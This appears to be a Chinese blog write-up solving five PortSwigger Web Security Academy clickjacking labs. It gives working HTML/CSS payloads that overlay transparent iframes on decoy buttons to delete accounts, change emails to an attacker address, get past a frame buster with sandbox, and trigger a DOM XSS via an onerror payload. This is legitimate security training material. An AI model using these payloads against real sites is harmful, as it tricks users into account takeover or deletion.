portswigger 靶场之点击劫持(Clickjacking)

All labs | Web Security Academy --- 所有实验室 |网络安全学院 (portswigger.net)

1. Basic clickjacking with CSRF token protection

具有 CSRF 令牌保护的基本点击劫持

目标:

制作一些 HTML 来构建帐户页面并欺骗用户删除他们的帐户

过程:

  1. 先登录账号,登录后界面上有个选项为Delete account,即删除账户。
  2. 页面上方有个Go to exploit server去利用服务器,点进去,在Body中写入HTML代码并用CSS来绝对定位选项Delete account的位置。
  3. 设置透明度opacity使得攻击者看不到真实的界面,Delete account选项被隐藏在<div>Click Me</div>之下

Quote / 参考

在点击劫持攻击中,攻击者会将一个透明的iframe覆盖在目标网站的页面上,然后诱使受害者在该iframe中点击某些看似无害的按钮或链接,实际上却是在执行攻击者的恶意操作

攻击者使用iframe的目的是为了掩盖受害者的真实行为。因为iframe可以嵌入其他网站或页面,攻击者可以在iframe中展示一个看似无害的页面或按钮,但实际上它们可能会触发跨站点请求,执行攻击者的恶意操作。

<style>
    iframe {
        position:relative;
        width:1000px;
        height: 700px;
        opacity: 0.0000001;
        z-index: 2;
    }
    div {
        position:absolute;
        top:515px;
        left:60px;
        z-index: 1;
    }
</style>
<div>Click Me</div>
<iframe src="https://0a37007803673341c044c7f400150047.web-security-academy.net/my-account"></iframe>

2. Clickjacking with form input data prefilled from a URL parameter

使用从 URL 参数预填充的表单输入数据进行点击劫持

目标:

诱使用户点击“更新电子邮件”按钮

过程:

登录账号,转到服务器界面,这一关,主要是通过 GET 参数的方式预填充表单,即在 URL 上添加了修改的邮箱

<style>
    iframe {
        position:relative;
        width:500px;
        height: 700px;
        opacity: 0.00;
        z-index: 2;
    }
    div {
        position:absolute;
        top:450px;
        left:80px;
        z-index: 1;
    }
</style>
<div>Test me</div>
<iframe src="https://0a3800d603ebc15ac0aa4aa0002c0090.web-security-academy.net/my-account?email=111@123.com"></iframe>

3. Clickjacking with a frame buster script

使用 frame buster 脚本进行点击劫持

目标:

诱使用户点击“更新电子邮件”按钮

过程:

  1. 先登录账号,然后到服务器界面,这一关运用了sandbox 属性,限制 iframe 嵌套,使其失效。
  2. 可通过在iframe标签中设置sandbox="allow-forms"来绕过限制

Quote / 参考

  • "Frame buster" 技术使用 JavaScript 代码来检测页面是否被嵌套在框架中

  • 在 HTML 中,sandbox="allow-forms" 是一种设置 iframe(内嵌框架)安全性的方法之一。该属性指定在 iframe 中是否允许表单提交。

  • sandbox 属性的值为 allow-forms 时,表示在 iframe 中允许表单提交,但不允许执行其他一些操作,如运行脚本、显示弹出窗口等。

<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:450px;
left:80px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe sandbox="allow-forms" src="https://0a0e00d50460a332c236f332009c00c0.web-security-academy.net/my-account/?email=hacker@attacker-website.com"></iframe>

4. Exploiting clickjacking vulnerability to trigger DOM-based XSS

利用点击劫持漏洞触发基于 DOM 的 XSS

目标:

欺骗用户单击“单击我”按钮来调用函数。print()

过程:

  1. 先登录账号,然后到服务器界面,这一关在 iframe 的点击劫持中附加了 DOM XSS。
  2. 通过 name 输入框,放入 JavaScript 脚本<img src=1 onerror=print()>,因为这个 img 标签的 src 属性的值是 1,所以这个图片肯定是不存在的,因此会触发 onerror 事件,并且执行 print() 函数。print() 是 JavaScript 的内置函数,能够在弹窗中输出内容。
<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:620px;
left:40px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe
src="https://0a2a00e403c20784c0166d6a00c800b2.web-security-academy.net/feedback/?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>

5. Multistep clickjacking

多步点击劫持

目标:

诱骗用户单击删除帐户按钮和确认对话框

过程:

需要执行两个步骤,删除用户 --> 确认删除,所以设置两个点击按钮

<style>
   iframe {
       position:relative;
       width:500px;
       height: 700px;
       opacity: 0.1;
       z-index: 2;
   }
   .firstClick, .secondClick {
       position:absolute;
       top:510px;
       left:50px;
       z-index: 1;
   }
   .secondClick {
       top:285px;
       left:225px;
   }
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click Store</div>
<iframe src="https://0a9a0010038a45ffc436c9d000f50019.web-security-academy.net/my-account"></iframe>
posted @ 2023-02-26 18:46  跛一一  阅读(199)  评论(0编辑  收藏  举报